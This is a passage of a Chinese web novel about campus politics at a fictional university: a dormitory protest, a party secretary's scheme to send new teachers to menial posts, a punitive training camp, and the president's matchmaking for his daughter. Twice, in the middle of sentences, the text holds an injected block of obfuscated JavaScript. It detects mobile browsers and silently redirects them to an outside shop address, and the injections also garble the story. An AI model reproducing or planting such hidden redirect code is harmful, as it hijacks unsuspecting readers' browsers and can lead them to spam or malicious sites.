在吴若甫尚未抵达的时候,因为离异寄居在筒子楼的石凤芝已经拍马赶到。她看着群情激奋的年轻人,扯开嗓子吼道:“我早就反映过这些问题,可这帮官老爷哪管你们的死活呀。你们还是年轻啊,你得闹哇,动静越大越有效果。今天正好是个机会,就看你们有没有这个胆儿了。”说完,悄悄让紧急赶来的何建瑰报警。 她的话如火星投入干柴,点燃年轻人们憋闷许久的怒火。楼里的几个“老油条”们趁机起哄,撺掇曹川、卞同峰、王垚几个急性子闹腾起来。一时间,敲盆声、摔碗声、唢呐声此起彼伏,甚至有人点燃被子桌椅扔下楼。 就在吴若甫到场时,警车也“呜哇”着开进了学校。好在刘丰和警局关系熟稔,经过一番说合后,警方答应退场。 石凤芝却不肯罢休,自封是筒子楼的“代言人”,声嘶力竭要求校领导对话。冯伟刚要劝阻,石凤芝立刻跳起脚来:“你不过一条狗!没资格说话!我们要和老吴亲自对话!”她的“硬气”甚至赢得几个不明真相年轻人低声喝彩。 军人出身的刘丰到底硬气,只见他剑眉倒竖:“老石,你在这里跳上跳下,口口声声说是代言人,谁授权你了?要不要让警方找你谈谈上个月把学校沙发偷运回家的事呀?” 一句话直戳石凤芝软肋,她赶紧敛着眉讪讪后退。 许继武等来电话向冯伟询问情况,吴若甫不想让他将时间放大,让冯伟、刘丰他们选取代表连夜召开对话会。 会议室,周雨霏的泪水再次点燃几位代表的不满。大家七嘴八舌,如炸窝麻雀般叽叽喳喳: “简直不把我们当人看嘛。” “说好的重视人才呢?尽骗人。” “没本事当初就别招我们来呀。” ……… 气得刘丰眼睛瞪得滚圆:“你们干嘛来了?这吴校长还没说话呢,你们净扯‘野棉花’,还懂不懂规矩呀?” 吴若甫脸上平静如水,手指轻轻点了刘丰的胳膊,目光和蔼扫视着大家:“学校理解大家感受。积极表达意见很好。这样行不行?一个一个来,也方便记录嘛。” 喧闹会场瞬间沉寂。阅历深厚的校长面前,年轻人到底显稚嫩。现场活跃的曹川、卞同峰、王垚他们如霜打茄子,纷纷低下头去。 吴若甫扫一眼冯伟等人,眼里流露出血得意说道:“这不对嘛。不是说好的对话吗?都有话说怎么低头了?要不要点将?”说完,径直点向后排靠墙的顾明远:“小顾,你是楚大睹的本科,了解情况多一些。你来开个头嘛。” 顾明远心里咯噔一下:怕什么来什么!他本来就没打算参加这个对话会,是临时被林书锦、江小北强行拉来。本以为坐在后排不发一言蒙混过关,现在倒好,竟然被校长点了将。顾明远知道,这样的场合发言是最不好拿捏分寸的,说重了,得罪领导;说轻了,得罪筒子楼的人。 冯伟不停地使着眼色,无奈之下,顾明远只好硬着头皮开腔:“学校重视人才有远见,近年一次性引进这么多优秀人才。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904206|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这让我想起‘筑巢引凤’。实事求是地讲,现在‘筒子楼’条件确实不咋地。” 看见冯伟急得挤眉弄眼,顾明远只好转起了频道:“作为新进职工,我们当然理解学校难处。说实话,我离开楚大三年,条件比过去改善不少。”言不由衷,理虚气短,立刻招致林书锦不满的窃语:“这不是拐弯拍马屁嘛!” 他的话让顾明远浑身燥热。 吴若甫看出了他的顾虑,大方挥手:“小顾不必顾虑嘛。有话直说就好。” 被逼得没了退路的顾明远干脆抛出了自己的意见:“在做不到一人一间的情况下,学校能不能稍加投入对筒子楼进行改造呢。” 吴若甫点头:“顾老师具体建议?” 顾明远愣了片刻,在众人期待的目光中胆子大了起来:“其一,这楼住七八十人,每层能否装热水?其二,女职工安全重要,能否改造三四楼厕所专供女生?第三,现在筒子楼有些职工周末想自己弄点吃的没有地方,能不能配套设个公用厨呢?” 吴若甫目光犀利扫向植物成长朱政华:“朱处长,这个问题年初不是纳入预算了吗?为何不利用暑假解决?!” 朱政华面红耳赤,嘴唇蠕动着不敢说话。 顾明远的开头似乎年轻人壮了胆。江小北不愿错过表现机会,顾明远未落座她就站起自我介绍。吴若甫插话:“哦,莫教授极力推荐留校的江小北,好,讲吧。” 当江小北刚一说出“学校领导尤其吴校长对教职工利益已非常重视”的话时,就招至了卞同峰的不满:“是吗?举个例子看看?” 江小北竟然还真的举出了两个例子,吴若甫似乎选去不大,转而让其他人发言。 肖志阳一直对自己在欢迎仪式上的表现不满,决定借这个机会重建领导项目中的形象。奈何表达确实不是他的强项,最后,乱了分寸的他也只是憋出了不切实际的“一人一间”、“每间增盥洗间”建议了事。 最后总结时,吴若甫在顾明远建议的基础上又加了两条,并厉声要求总务处一个月内全部整改到位。他的话激起了参加对话年轻人的一片掌声。 会后,冯伟特地将顾明远拉到一边,鼓励他以后一定抓住各种机会抛头露面,尽快和领导们混个脸熟。顾明远心中不以为然。冯伟又扯了扯他的袖子说道:“吴校长对你很有感觉,不过你今天的话可能有人不高兴的。” “谁?”顾明远有些担心起来。 “总务处的朱处长呀。也没关系,以后多经历几次,分寸自然就会把握的。毕竟是咱们清北的高材生嘛。” 师兄点到为止让顾明远有些不以为然,唇角牵起一丝一漾即散的笑意,他知道师兄是中文系的高材生,便故意文绉绉地说道:“师兄谬赞了。其实我也没想那么多,所以也懒得为了博个青眼去修饰口舌。毕竟我只是教书匠而已。” 冯伟想的身份注定了谨言慎行的习惯。其实他内心并不反对顾明远的观点。既然他并不接受提醒,也就不必继续自作多情了。冯伟轻轻拍了拍顾明远的肩膀,只笑了笑便独自离开。 吴若甫几乎照单全收顾明远建议的做法,意外地给顾明远带来些声名。筒子楼的,大家看的目光有了微妙的变化。就连同宿舍的钟德君在贬损了肖志阳的嘴拙和卞同峰的“缩头乌龟后,也不经意地带出一句“哪像你老顾,几句话就成了吴校长眼里的红人了”,气得顾明远没好气地撂下一句“你行你倒是站出来呀。” 在一众“嘴上”赞赏者中,江小北似乎要用行动来给自己的赞赏加码。正在和钟德君打着嘴皮官司,走廊上高跟鞋的钝响声在门口停下,随即江小北的武汉普通话传了进来:“师哥在吗?” 暑假过后,江小北形象大变:黑框眼镜换金丝眼镜,板滞的短发烫成了波浪卷,似乎武汉普通话也添了几分妩媚。 从孟超那里打听吴雅娟是当今校长吴若甫千金后,钟德君心思就活动了起来。他对自己那位村长父亲“找对人少奋斗十年”的高论一直深信不疑。虽然吴雅娟的长相和性格并不是理想中的媳妇形象,但如果能和她捆在一起,自己在楚江大学的路途准确说是仕途岂不是要青云直上了吗?为此,春心常动的钟德君最近颇有些洗尽铅华、洗心革面的意思,甚至暂时断了和刘芳的联系,为的是以纯净之身和纯洁之心去追求高傲的校长千金了。刘芳都不在眼里,更何况眼前这位自命不凡的“武汉小妞”了呢。钟德君站起身来准备回避,却被顾明远一把拽住:“不是说好了一会打篮球的吗?” 没想到顾明远临时编的话倒给了江小北口实,她从背后取出一个鞋盒递上:“正好。前天我看见师兄打球时穿的是薄底回力鞋,那多容易受伤啊。这是一双专业篮球鞋,师兄试试合脚吗?” 顾明远如被马蜂蜇了一下,鞋盒掉在了地上。 钟德君“啧啧”调侃起来:“哟。江小北你够偏心的。我这个主力后卫的鞋更差呀,你这只买一双就不怕伤了我的自尊了?” 江小北“嗤”道:“得,现在谁不知道你的小心脏用在校长千金身上了。油嘴滑舌的懒得理你。” 顾明远对江小北依靠莫笑非留校有一种莫名的反感,一点也不想和她扯上关系。假意看了一眼鞋码,眼睛滴溜转了一下,对钟德君夸张一笑:“德君,你真是有福,这41码不正是你的码子吗?” 钟德君立刻会意:“是啊,老顾你43码穿不了小鞋。”嬉皮笑脸望着江小北说道:“要不,这个人情送我?回头我请你吃饭?” 江小北惊讶盯顾明远,忍不住飚出武汉话来:“有冇得错啊?我瞄倒你滴脚冇得咧大撒!”说罢低身要给顾明远量鞋,吓得顾明远连连后退,生硬地说道:“鞋合脚不合脚自个知道。” 顾明远生硬决绝的态度让江小北有些不爽,心中骂句“乡里人心里冇得数”,一把从钟德君手里夺过鞋,气呼呼走了。 等高跟鞋声音远去后,钟德君要求顾明远请吃烧烤作为回报,模仿江小北说话喜欢嘬嘴的样子,威胁顾明远若不从命就告诉她“41鞋码”的实情。 顾明远只好从命。 6. 敲山震虎 发生在楚江大学那栋斑驳筒子楼的青年职工“闹事”事件,如图一根刺扎在了书记许继武的心头。 在楚江大学师生的普遍印象里,许书记是个没什么锋芒、待人接物永远客客气气的“掌门人”。与校长吴若甫共事多年,似乎显得十分融洽,除了对干部任免这一亩三分地看得比较紧外,其他大小事务——从学科建设到基建项目,从国际交流到学生活动——他几乎都“充分信任”地放手交给吴若甫去打理。吴若甫行事果决、作风强势,加上学者光环,以致于一些局外人看来,吴若甫才是楚江大学的“掌门人”。 然而,真正熟悉权力运行规则的人,都深知这恰恰是许继武的“高明”之处。他深谙“执简驭繁”的为政智慧,在学校这个庞大复杂的机器中,展现出一种“握一子而动全局”的精妙艺术。他牢牢抓住了“干部任免”这个核心命脉,早就在楚江大学精心绘制一副“干部生态图谱”。表面上看,吴若甫风生水起,好不风光。可实际上,几乎所有关键岗位的负责人都是许继武的布局,都或明或暗地向他负责。这种“放事不放人、松权不松位”的治理哲学,既在台面上营造出一种开放包容、尊重学术领导的氛围,又确保了整架机器的每个关键齿轮都在他预设的轨道上精准咬合、稳定运行。即便自负如吴若甫,有时也不得不私下叹服许继武这份“大智若愚”的政治头脑。 人才招聘本不属于干部任免的范畴,刚开始时许继武并不打算更多过问,但在察觉吴若甫借这次人才招聘强化自己喜欢的几个学院以及大张旗鼓宣传自己这一政绩时,许继武的内心起了波澜。尤其这几个月来新人频频惹事生非、动辄妄议校政的行为更是让许继武心生不满。在许继武看来,正是吴若甫过于激进人才招聘政策,导致鱼龙混杂、良莠不齐并最终结出了这些“苦果”。许继武觉得这是一个机会——既能敲打吴若甫的“独断专行”,又能名正言顺收紧对新进人员加强管控。 至于如何运作,许继武很自然想到了大学同窗挚友、财经学院院长梅大镛。 梅大镛走进许继武办公室时,书记正用一把紫砂小壶慢悠悠地浇淋着一盆君子兰,动作轻柔得如同抚摸。梅大镛自然落座,无需寒暄,两人就直接切入主题。 梅大镛本来就对这次历史学院比财经学院多出一个名额的做法不满,听完许继武抛出的问题后,他弹了弹手上的烟灰说道:“书记,这次人才招聘,校园议论不少呢。有人甚至在问,楚江大学到底谁是一把手啊!” 他的声音不高,却一下子攫住了许继武的心:谁是一把手?这可是一个原则问题。 梅大镛看见许继武低头沉思,决定继续加码:“吴这次如此大量招聘,明显有些好大喜功嘛。一人一张嘴,需要钱呢。现在进一人的成本怎么也得五万以上吧?书记您是预算方面的专家呀。再说,以前一年招人都是个位数,现在倒好,翻了几番,财力跟不上、管理出乱子,风头是出了,兜底的最后不还是党委?书记啊,我还是以前的观点,不能再放权啦!” 许继武耐心听着,脸上依旧挂着那副标志性的温和笑容,他慢条斯理地放下手中的紫砂壶,拿起一块细绒布擦拭着壶身,等梅大镛说得口干舌燥得差不多了,才淡淡地开口,仿佛在谈论一件与己无关的小事:“老梅,工作嘛,总会有不同看法。不过……”他话锋极其轻微地一转,如同微风掠过水面:“这批新进的年轻人确实个性强了些,对这件事你怎么看?” “个性”二字,他吐得格外清晰,带着一种难以言喻的玩味。 梅大镛立刻心领神会,接口道:“可不是嘛!我看就是缺乏规矩意识,欠敲打和管教。” 许继武轻轻摇了摇头,手指在光滑的办公桌面上无意识地画着圈:“是啊。这批年轻人普遍棱角多,对规矩的敬畏心不够。‘筒子楼’事件,根子在思想,在作风。”他抬眼看向梅大镛,目光温和中带着一丝不易察觉的锐利:“你长期在一线,依你看,对这批年轻人,怎么才能既‘去去虚火’,又‘长长记性’,让他们吧心思和精力用在正道上?” 梅大镛毫不犹豫地抛出了“下派锻炼”四个字。许继武心中一懔,忙问详情。梅大镛说得清楚直白:将40人中的32名教师全部下派到食堂、宿管、图书馆、基建这些部门吃点苦头。看着许继武有些愕然的样子,梅大镛位自己的主张找了一个合适的理由——熟悉校情、增长见识。 许继武沉吟了片刻,用手指弹击着桌面:“好,老梅你这个主意好。我再琢磨琢磨。” 梅大镛走后,许继武迅速找来分管人事工作的副校长江川商量。他先是将梅大镛的主张安上了自己的名号,然后让江川说说自己的想法。 在班子的副职中,周濂上吴若甫的嫡系,赵文启、张茅、汤中臣几位是“骑墙派”,只有副校长江川,算是和许继武贴得比较紧的,他睹的就是倚靠许继武将来能和周濂竞争校长的大位。 许继武刚一说完,江川就由衷地叫起好来,顺带将自己并不赞成吴校长过激做法的态度也亮了出来。此举深得许继武的满意。停顿了片刻,江川金丝眼镜镜片后的眼神时常掠过一丝难以捉摸的精光,身体微微前倾压低声音说道:“我担心的是,如果直接下派,没有一个缓冲,会让人觉得有些唐突”,说到这里,他有意停顿下来,观察着许继武脸上的表情。许继武有些茫然,示意他继续,江川便将已经打好的腹稿和盘托出:组织一个礼拜的集中培训统一思想提高认识。培训结束后再启动为期半年的下派锻炼,每个人下派期间的表现作为日后定岗、晋升的重要依据。 许继武虽然自己主意不多,但从谏如流的气度不凡,听完江川的解释,他轻轻拍了拍手:“好,好。江校长不愧是学者,和我想到一块去了。不谋而合,真是不谋而合啊。年轻人嘛,不经历风雨,怎么见彩虹?”他顿了顿,语气依旧平淡,却透着一股不容置疑的决断,“你回去琢磨一下,最好不用‘下派锻炼’这个词,写在红头文件上还是有点扎眼,容易引起不必要的联想和反弹。换成‘岗位认知’如何?” 江川连连点头,称赞书记考虑得周全。 当许继武拿着江川起草的方案找到吴若甫时,先是大讲了一通吴若甫“人才兴校”理念的先进性,借着话题一转,从“筒子楼”事件出发强调加强新进人员思想教育和纪律约束的紧迫性和党委责任的神圣性。他讲得沉痛而庄重,让吴若甫有话说不出,他知道许多学院已经为新教师排好了本学期的课程,甚至有些重要的科研项目也安排了新教师参与。如此大规模、长时间的下派,必然严重打乱教学科研秩序,挫伤新教师的积极性,这与他引进人才的初衷背道而驰。但是,吴若甫是深谙“党委领导”的不可抗拒,如果自己贸然反对,说不定会给许继武落下把柄,毕竟这些年轻人的表现确实有些出格啊。吴若甫不甘听任许继武的一言九鼎。退而求其次。他有意从方案的可操作性方面提出了不少修改意见,比如下派去向可以口径更宽些。许继武再次体现了自己“抓大放小”的“韬略”,全都点头表示同意。 消息如同寒潮,迅速席卷了新进教师这个群体。顾明远接到通知时,正在宿舍里修改完善本学期主讲的两门课程的讲义,心中一股冰冷的失望从心底直冲头顶。在他眼中,学校让这么多年轻教师去从事那些与专业毫不相干的“杂役”的做法无异于睚眦必报、心胸狭隘的“小妇人心眼”。 带着万分的不理解,顾明远找到了师兄冯伟。顾明远推开冯伟办公室门时,一股凉丝丝的空调冷气混着茶香扑面而来。冯伟正坐在宽大的办公桌后,手里把玩着一只紫砂茶杯,见他进来,指了指对面的椅子:“你来得正好,周校长正让我找你聊聊呢。”他有意将“周校长”三字用了加重的语气。 顾明远对此没有半点反应,将自己摔进柔软的沙发后,语气带着压抑不住的火气:“师兄,学校这次搞的下派,完全不考虑专业发展和个人意愿,这不是浪费人才的嘛。” 冯伟慢条斯理地拿起小巧的电水壶往茶壶里续上热水,然后把一杯澄亮的茶汤推到顾明远面前:“明远,现在不同于学生时代啦。有些事情要学会换位思考。政策嘛,总有它的通盘考量。你觉得是浪费,上面也许觉得是保护呢。” “保护?”顾明远几乎要冷笑出声:“保护谁?把我们扔去那些叫天天不应的地方,叫保护?” 冯伟声音压低了些:“明远,你还是太年轻。学校里不是只有黑板和论文,还有看不见的线。唉,说实话,你们这批新来的,也确实太有棱角了。如果不大漠打磨,万一捅出点篓子,谁负得起责?”他顿了顿,观察着顾明远不服气的表情,语气放缓说道:“更何况,这对你们确实是一次考验,换个角度,用周校长的话来说,下派锻炼也是‘镀金’呀。你如果表现突出,这段经历写在履历上,将来提拔重用时,那可是硬资本呢。所以呀,现在觉得苦,甜头也许在后面呐。” 望着师兄那张透着圆熟和算计的脸,顾明远原本对这个学中文的师兄身上风雅和浪漫的印象一下子风流云散了去,只剩下一片冰凉的恍然和更加深重的苦闷。 因为有了周濂的托付,冯伟数意犹未尽,他用兄长般的语重心长的口吻说道:“明远,周校长特意让我叮嘱你,无论是培训还是锻炼期间,务必要‘谨言慎行、戒急用忍’的。” 看见顾明远脸上有些茫然,冯伟叹了口气,声音压得更低:“这次江副校长亲自主抓,这里面的名堂多着呢。搞不好你们这群人中已经安了内线的,作为师兄,我劝你尽量少说话,免得被人抓了把柄。再说,风物长宜放眼量嘛。” 此刻,顾明远虽然对师兄的关心心生感激,但觉得自己他和冯伟之间,已经被眼前的这张宽阔的办公桌隔出了距离。 按照计划,正式下派锻炼之前,三十二名新进教师被集中送往远离市区、孤悬深山的“教师培训基地”。从抵达基地的第一刻起,所有人都明白,这绝非放松之旅、清修之途。开班仪式上,副校长江川祭出了下马威的第一棒。江川一改往日学者型领导的温文形象,走上主席台,他并没有立刻讲话,而是面色阴沉将锐利的目光扫遍了会场的每一个角落,审视中带着毫不掩饰的压迫感。会场顿时鸦雀无声。江川抬起手用指关节重重地、连续地敲击了两下面前的话筒。“嘭!嘭”的沉闷响声在寂静的会场里如同炸雷,震得所有人心中一凛。 “我想先向诸位提一个问题!” 江川的声音透过麦克风被放大,带着金属般的冰冷质感:“今天是开班仪式,一个如此庄重的场合,请你们看看自己五花八门的着装,这符合规矩吗?” 他的话像一盆冰水兜头浇下。年轻教师们如梦初醒,互相打量。台上江川西装革履一丝不苟,台下的大家T恤、牛仔裤、运动鞋、花衬衫……甚至还有穿着凉拖的!与台上的“规矩着装”形成了刺眼的对比。几个胆大的,如卞同峰王垚他们忍不住轻声嘀咕:“事前根本没人通知要穿正装啊……。” 江川的耳朵仿佛装了雷达,目光瞬间精准地锁定了声音来源,手指猛地指向卞同峰的方向:“你!叫什么名字?卞同峰是吧?站起来!” 他的声音陡然拔高,带着不容置疑的命令。 别看卞同峰在筒子楼私下里经常气壮如牛,此刻在众目睽睽和权力威压之下,却像被掐住了脖子,脸瞬间憋得通红,手指无意识地绞在一起,畏畏缩缩、低垂着头站了起来。 “听说你好像意见挺多。好,说说看,对学校,对我说的着装问题有什么高见?嗯?” 江川的语气带着一种猫捉老鼠般的戏谑和压迫。 “我……我……还……好吧,” 卞同峰声音发颤,几乎语不成句:“也……也没……没什么特别的意见……” 巨大的压力下,他选择了最懦弱的屈服。 只此一下,全场噤若寒蝉。所有年轻人都像被霜打过的茄子,蔫蔫地低下了头,胸中仅有的一丝不平之气也被彻底碾碎。江小北等几个女生,赶紧惶恐地赶紧掏出笔记本和笔,做出准备虔诚记录的样子。 江川似乎很满意这震慑的效果,他有意不让卞同峰坐下,而是清了清嗓子开始了正式的训话,声音不高却字字如刀: “最近发生在筒子楼的事件, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904207|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连教育厅都被惊动,影响极其恶劣!作为分管教师工作的副校长,今天不得不在这里,给你们上一堂规矩课!” 他再次停顿,目光如电般扫视,确保每个人都感受到了压力。 “三个问题,你们都给我听清楚,记下来!” 他对着话筒干咳了两声,以此增强威慑的效果。 “第一问:谁给你们的胆子!在筒子楼聚众闹事,甚至纵火鼓噪?!” “第二问:谁给你们的权利!公然在校长面前对学校提出种种无理要求?!” “第三问:又是谁给你们的权利!经常在私下里聚集非议学校的决策?!” 三个连珠炮般的质问,如同无形的鞭子狠狠抽打在台下年轻人的心上。会场里死一般的寂静,只剩下粗重的呼吸声。两个女生吓得泪水在眼眶里打转。 顾明远心中的震惊无以复加。本科期间顾明远曾经选修过江川的一门课程,眼前的副校长声色俱厉的样子与当年那位风度翩翩、文质彬彬的老师形象实在是天壤之别。顾明远心中翻江倒海:难道是权力如此彻底地改变一个人?难道知识分子不更应该讲究平等待人吗……。一股强烈的冲动涌上心头,但想想冯伟行前的嘱咐,顾明远还是打消了举手发言的冲动。 训话的最后,江川抛出的“作业”更是让所有人瞠目结舌:为了加深对学校规章制度的认识,每人手抄《楚江大学教职工职业道德与行为规范》三遍! 散会后,年轻人如同溃兵般垂头丧气地回到宿舍。每个房间里弥漫着压抑的沉默和淡淡的绝望。在昏暗的灯光下,大家能做的就是如同被罚抄的小学生,开始机械地誊写那些冰冷的条文。笔尖划过纸张的沙沙声,成了此刻最沉重的背景音。 然而,“杀威棒”并未结束。午饭后的短暂休憩被刺耳的哨声打断。紧急集合进行十公里山地急行军训练!理由冠冕堂皇:磨练意志,增强体质。 初秋午后的太阳依旧炽烈。崎岖的山路,沉重的背包,急促的哨音,教官严厉的呵斥……瞬间击垮了年轻人心中最后一丝幻想。一些人面色惨白,气喘如牛,汗水和泪水混合一起咸涩不堪,掉队者被教官厉声呵斥,尊严在体力的极限透支下荡然无存。 当队伍拖着灌铅般的双腿回到基地时,许多人直接瘫倒在硬板床上连晚饭都无力去吃,哀嚎声和粗重的喘息在宿舍楼里此起彼伏。 钟德君从小干惯农活,加上经常锻炼的缘故,体力似乎尚有余粮。为了活跃气氛,连哄带劝拉着顾明远他们走到基地外面的开阔岗地乘凉。 顾明远并没有被体力击倒,倒是心中的苦闷憋得难受,他本想独自关在房间里自我排遣,又担心别人觉得自己不合群,只好随着大家一起来到岗地上。 大家全都四仰八叉躺在草地上,似乎一句话都不想说。急得钟德君直嚷嚷:“大家别都哑巴呀,那多没趣呀。” 顾明远想给钟德君助威,从草地上坐了起来:“是啊,德君这个地方选得好!视野开阔,无遮无挡,是个观星的好地方,有点小时候晚上乘凉听说书的感觉。” 话刚说完,江小北有些讨好地响应起来:“哇!顾老师说得好有画面感啊!” 话音刚落,林书锦故意揶揄道:“什么画面感,今天都被当成孙子了,还浪漫得起来?” 一句话瞬间点燃了众人心中积蓄的火焰,卞同峰更是来了精神:“我呸!什么下派锻炼?说得比唱得好听!就是他妈当年借机整人。美其名曰“磨练”,磨个头哇,无非要把咱们的脊梁骨磨软,最后都变成摇尾巴的狗呗。” 林书锦大声叫起好来。一直暗恋江小北的肖志阳也想借机杀杀顾明远在江小北心中的地位,故意撇了撇嘴说道:“老顾你们搞历史的尽政协小资情调,这与江校长今天强调的‘规矩’有些不合拍哦。” 他的话招来了江小北的白眼:“你个胖子说什么呀?我们学历史的怎么啦?顾老师博览古今,不像你呆头呆脑的。” 林书锦兴奋得眼里冒光,拍了拍一旁的顾明远:“老顾,这是美人崇拜啊。你对今天的培训就没有一点高见?” 借着星光,顾明远无意中发现林书锦眼里闪烁着狡黠的光,忽然想起冯伟那句“安了内线”的话,心里警觉地了些,假装打了两个大大的哈欠,就势平躺在草地上,故意发出些轻微的鼾声,其实,眼睛早就望向了深邃的夜空。深蓝色的天幕低垂,仿佛触手可及,缀满了钻石般的星辰,璀璨得令人心醉。偶尔有萤火虫拖着微光划过眼前,让他恍惚觉得那是坠落的流星。在这浩瀚的星图下,白天所受的屈辱和压力似乎被暂时稀释了。他脑海中不由自主地闪过那个“民国女学生”清丽的身影:她在哪里呢?此刻是否也在仰望同一片星空? 不知什么时候,钟德君他们撤离了岗地,这倒给了顾明远更加安静的空间,离熄灯还有一段时间,他索性坐了起来,固执地仰望星空,彷佛觉得那些璀璨的星辰中必有一颗是属于“民国女学生”的。寻觅良久,又觉得有些傻气,自嘲地笑了笑,拍拍身上的草屑,带着一种完成秘密仪式的满足和释然,低声哼着不成调的曲子,踏着星光,走向那片此起彼伏的鼾声之地。 第二天,不知谁走露了风声,在岗地乘凉时“大放厥词”的卞同峰被要求当众作了一场声泪俱下的深刻检讨。培训结束的结业式上,人事处副处长黄剑面无表情地宣读了“下派锻炼”人员去向名单,卞同峰、曹川、王垚三人被派往学生食堂“体验生活”,出人意料的是,表现平淡无奇的顾明远、肖志阳竟然被派往要害部门人事处“熟悉校情”。 名单念罢,会场一片死寂。等级之分,待遇之别,昭然若揭。经过了一周的“磨炼”,面对这份明显带着“三五九等”烙印的分配方案,早已被一周“杀威棒”敲掉了所有锐气的年轻教师们,脸上只剩下麻木的顺从和深深的疲惫,再也无人敢当众提出异议或表达不满。沉默,也许是他们对职业生涯最深刻的体验和领悟。 当事人顾明远一头雾水,他不明白,为什么“馅饼”偏偏砸在了自己的头上。在众人羡慕嫉妒恨的目光中,他只好选择了逃避。 7. 重点考察 顾明远当然想不通:“馅饼”怎么会砸在自己的身上?早在审定下派人员去向之前,校长吴若甫就藏了一份不足为外人道的私心。经过几个月的观察,他从四十人中圈定了两个重点考察对象——为自己年方二十四足不出户的千金吴雅娟物色合适对象。这也是老伴万素琴一直在枕边吹风交给他的一项重要任务。事关家庭和睦和女儿前途,吴若甫不敢不听、不能不行。挑来选去,肖志阳的学历和顾明远的才华吸引了吴若甫的目光。但是,久经江湖的吴若甫没有老伴的急切,,他需要进一步近距离考察这两个年轻人。毕竟这关系到女儿一生的幸福甚至自己和老伴退休后的美好生活。现在,正好可以利用一点点“公权力”,悄无声息将两人近距离安排在女儿吴雅娟所在的人事处。如果最后能取其一,那也算是意外的收获,或许还能稍稍弥补他与许继武这场暗战中的憋屈。 与顾明远相对消极的表现相比,肖志阳显得格外珍惜在人事处的锻炼机会。每天清晨,他总是第一个到办公室,扫地、打水、擦桌子,将一切打理得井井有条。更难得的是,他还会变着花样为吴雅娟泡上各种花茶:周一玫瑰,周二菊花,周三枸杞……周到得让人挑不出毛病。 然而令敏感的肖志阳失望的是,“校长千金”吴雅娟对待他和顾明远的态度似乎有着微妙的温差。在她的安排下,肖志阳更多地承担跑腿送文件的杂活,而查阅资料、整理档案这类可以长时间待在办公室的工作,则大多交给了顾明远。对此,肖志阳胸口虽然偶尔会有一点说不清是妒忌还是屈辱的火苗倏地窜起:毕竟自己是唯一的海归博士嘛。但是,旋即,一个奇怪的念头又浮上心头:如果顾明远真被这位“校长千金”绊住了脚,那自己不是正好可以去追求没了指望的江小北吗? 吴若甫对顾、肖二人在人事处的“锻炼”情况非常在意。但他并不亲自找女儿过问,而是让老伴万素琴经常出面旁敲侧击。对女儿的每一次答问,万素琴都要在枕边详细地转述给自己的校长先生。比如“今天小肖又给我泡了参茶”、“这个顾明远倒是挺有意思,一坐档案室就是一下午,我进去好几趟都没察觉”之类,急得万素琴有事犯了嘀咕:“别看小肖有些憨头憨脑的,感觉贴心得很,知道疼人。那个顾明远好像太闷了,听说老家还是农村的。” 等于老伴这些倾向性的试探,吴若甫并不亮明自己的态度,只是含糊其辞说了句“各有千秋。”别万素琴逼急了,也会冒出“做学问的人,专注是好事。” 别看吴雅娟总是一副微扬下巴冷漠行头示人的样子,其实,这时被父亲的地位烘托出来的假象而已,这位校长千金的心经常会裂开一丝细缝,泄露出因那张苍白无力的成人大专文凭而滋生的惶惑与自卑。正因如此,即便没有父母的加持,她自己对从这批“人才”中选择对象也是充满了渴望和期待。近水楼台先得月。借着在人事处工作的便利,吴雅娟早已将的40人中的29位男生的档案研究了个遍。自从母亲隐晦透露了些父亲的意思时,她更是用显微镜般的眼光观察着顾明远和肖志阳。 说实话,两人都不太符合吴雅娟的预期。肖志阳过于木讷和死板,顾明远虽然谈吐不俗但出自农门。两害相权取其轻。吴雅娟对顾明远温文尔雅的气质和出口成章的谈吐还是更加青睐,有事没事就会溜达到隔壁的资料室,名义上调阅人事档案,实则想借机接近顾明远。可惜顾明远似乎对这位校长千金并不感冒,除了礼貌地一问一答,孔雀开屏展示自己的意愿一点也不强烈。 在母亲的启发下,吴雅娟特地找补了一些历史学知识,投其所好,试图让顾明远觉得自己还是一个有内涵的行政干部。 这天下午,吴雅娟又一次踱进资料室,手指划过书架上一排泛黄的档案袋后回眸望着顾明远:“听说顾老师对宋朝的历史很有研究?” 顾明远正在翻阅一本《宋史纪事本末》,抬起头来扶了扶眼镜:“谈不上研究,只是兴趣。” 吴雅娟状似随意地踱到顾明远桌旁,努力让声音显得有些含量:“说起来,我最欣赏宋徽宗,虽说是亡国之君,可那份艺术家的洒脱,比那些打打杀杀的强多了。”这点存量是从自己那位书法爱好者的父亲那里寻摸来的。 顾明远心中有些微颤。自从无意间从钟德君那里得知吴雅娟成人专科学历加上冷傲孤僻的样子,顾明远对这位校长千金的态度就是敬而远之。现在没想到她竟然能说出宋徽宗书法家的一面来。于是有意再试探试探吴雅娟的深浅:“是吗?宋徽宗还是艺术家?” “是呀,那个什么《千里江山图》不就是他画的吗?” 顾明远差点笑出声来,但他不能刺破吴雅娟精心吹起的肥皂泡,假装起身去报刊室去取处里的报刊,撇下吴雅娟走了,险些与靠得很近的吴雅娟撞了个满怀。 吴雅娟对顾明远流露出来的好感被隔壁办公室的余丹凤尽收眼里。余丹凤的副处级调研员待遇上去年吴若甫校长的眷顾意外获得的,这让这个军人家属一直对吴若甫感恩戴德,每个周末都会准时到吴家“帮忙”做些拖地、涮碗这些力所能及的家务活。 当她向万素琴透露吴雅娟的感情动向时,万素琴佯装糊涂,在和老伴吴若甫商量后,二人一致认定余丹凤是那个出面牵线搭桥的最合适人选。 